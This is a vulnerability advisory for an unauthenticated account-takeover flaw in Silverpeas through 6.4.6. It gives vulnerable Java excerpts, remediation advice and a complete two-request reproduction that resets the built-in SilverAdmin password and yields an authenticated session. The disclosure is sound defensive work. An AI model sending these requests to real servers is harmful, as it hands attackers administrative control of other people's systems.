> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-53699: Unauthenticated Account Takeover in Silverpeas

> A password-reset authorization flaw in Silverpeas through version 6.4.6 allows an unauthenticated attacker to take over any account.

## Summary

`ChangePasswordHandler` in the Silverpeas `CredentialsServlet` through version 6.4.6 does not verify the requester's identity before changing a password. An unauthenticated remote attacker can reset the password of an arbitrary account, including the built-in `SilverAdmin` administrator account, resulting in complete account takeover.

| Field             | Details                                                                         |
| ----------------- | ------------------------------------------------------------------------------- |
| CVE               | CVE-2026-53699                                                                  |
| Weaknesses        | CWE-620: Unverified Password Change; CWE-640: Weak Password Recovery Mechanism  |
| Affected versions | Through 6.4.6                                                                   |
| Fixed version     | 6.4.7                                                                           |
| Required access   | None                                                                            |
| CVSS 3.1          | 9.8 Critical; `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`                    |
| CVSS 4.0          | 9.3 Critical; `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` |

## Technical details

The legacy password-change handler reads the target login, domain, new password, and check identifier directly from the request:

```java wrap theme={null}
public String doAction(HttpServletRequest request) {
  String login = request.getParameter("Login");
  String domainId = request.getParameter("DomainId");
  String password = request.getParameter("password");
  String checkId = request.getParameter("checkId");

  try {
    assertPasswordHasBeenCorrectlyChecked(checkId, password);
    AuthenticationCredential credential = AuthenticationCredential
        .newWithAsLogin(login)
        .withAsDomainId(domainId);
    getAuthenticator().resetPassword(credential, password);

    return "/AuthenticationServlet?Login=" + login
        + "&Password=" + password
        + "&DomainId=" + domainId;
  } catch (Exception e) {
    return "/Login";
  }
}
```

The only gate before `resetPassword()` verifies that the proposed password was checked against the password policy:

```java wrap theme={null}
protected void assertPasswordHasBeenCorrectlyChecked(
    String checkId, String password) throws AuthenticationException {
  var passwordRuleService =
      PasswordRulesServiceProvider.getPasswordRulesService();
  if (!passwordRuleService.isChecked(checkId, password)) {
    throw new AuthenticationException(
        "Password wasn't checked against the password rules!");
  }
}
```

This check does not bind the request to the target account or prove that the caller controls it. The password-policy resource is deliberately reachable without a valid session:

```java wrap theme={null}
@Override
public void validateUserAuthentication(
    final UserPrivilegeValidation validation)
    throws WebApplicationException {
  try {
    super.validateUserAuthentication(validation);
  } catch (WebApplicationException exception) {
    if (Response.Status.UNAUTHORIZED.getStatusCode()
        != exception.getResponse().getStatus()) {
      throw exception;
    }
  }
}
```

An unauthenticated attacker can therefore obtain a valid `checkId` for an attacker-chosen password, then pair it with any `Login` and `DomainId` in the reset request.

## Reproduction

### 1. Obtain a password-policy check identifier

This request does not require a session:

```http wrap theme={null}
POST /silverpeas/services/password/policy/checking HTTP/1.1
Host: <target>
Content-Type: application/json

{"value":"P@ssw0rd123!"}
```

The service returns a UUID for the checked password:

```json wrap theme={null}
{
  "isCorrect": true,
  "checkId": "<check-id>"
}
```

<Frame caption="Obtaining checkId from the public password-policy endpoint">
  <img src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/images/research/silverpeas/cve-2026-53699-check-id.png?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=6d6480c85d922f8ce71e5314689090f9" alt="Unauthenticated password-policy request returning a checkId" width="1270" height="542" data-path="assets/images/research/silverpeas/cve-2026-53699-check-id.png" />
</Frame>

### 2. Reset the target account

Supply the check identifier with the target username and domain. The built-in administrator is `SilverAdmin` in domain `0`:

```http wrap theme={null}
POST /silverpeas/CredentialsServlet/ChangePassword HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0&password=P%40ssw0rd123%21&checkId=<check-id>
```

The same parameters also work in a `GET` request:

```text wrap theme={null}
/silverpeas/CredentialsServlet/ChangePassword?Login=SilverAdmin&DomainId=0&password=P%40ssw0rd123%21&checkId=<check-id>
```

The response changes the account's password, returns a `302` redirect to the application, and sets an authenticated `JSESSIONID`:

```http wrap theme={null}
HTTP/1.1 302 Found
Set-Cookie: JSESSIONID=<authenticated-session>; Path=/silverpeas; HttpOnly
Location: /silverpeas/MainFrame
```

<Frame caption="Resetting SilverAdmin and receiving an authenticated session">
  <img src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/images/research/silverpeas/cve-2026-53699-password-reset.png?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=9e56efba8fb159eaa8f05358e5d8b860" alt="Password reset response setting an authenticated SilverAdmin session" width="1056" height="519" data-path="assets/images/research/silverpeas/cve-2026-53699-password-reset.png" />
</Frame>

<Frame caption="Complete unauthenticated account-takeover sequence">
  <video controls preload="metadata" alt="Demonstration of obtaining a checkId and resetting the SilverAdmin password without authentication" aria-label="Demonstration of obtaining a checkId and resetting the SilverAdmin password without authentication" style={{ width: '100%' }}>
    <source src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/videos/research/silverpeas/cve-2026-53699-password-reset.webm?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=0dfd8338de900eea79b30bf937a881f7" type="video/webm" data-path="assets/videos/research/silverpeas/cve-2026-53699-password-reset.webm" />
  </video>
</Frame>

## Impact

An unauthenticated remote attacker needs only the account's login name and domain identifier to replace its password. Targeting `SilverAdmin` gives the attacker full administrative access. The same sequence works against other local accounts.

## Remediation

Upgrade to Silverpeas 6.4.7 or later. A password reset must require a server-issued, single-use token bound to the target account and a validated recovery session. A password-policy `checkId` should not authorize a password change and should not be reusable across accounts.

## References

* [Research article: password reset and account takeover](/research/silverpeas/2026-09#password-reset-and-account-takeover)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/9912ffd2fbcd7be50cfc8bfcdbfd6149cbc3d6d9)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53699)
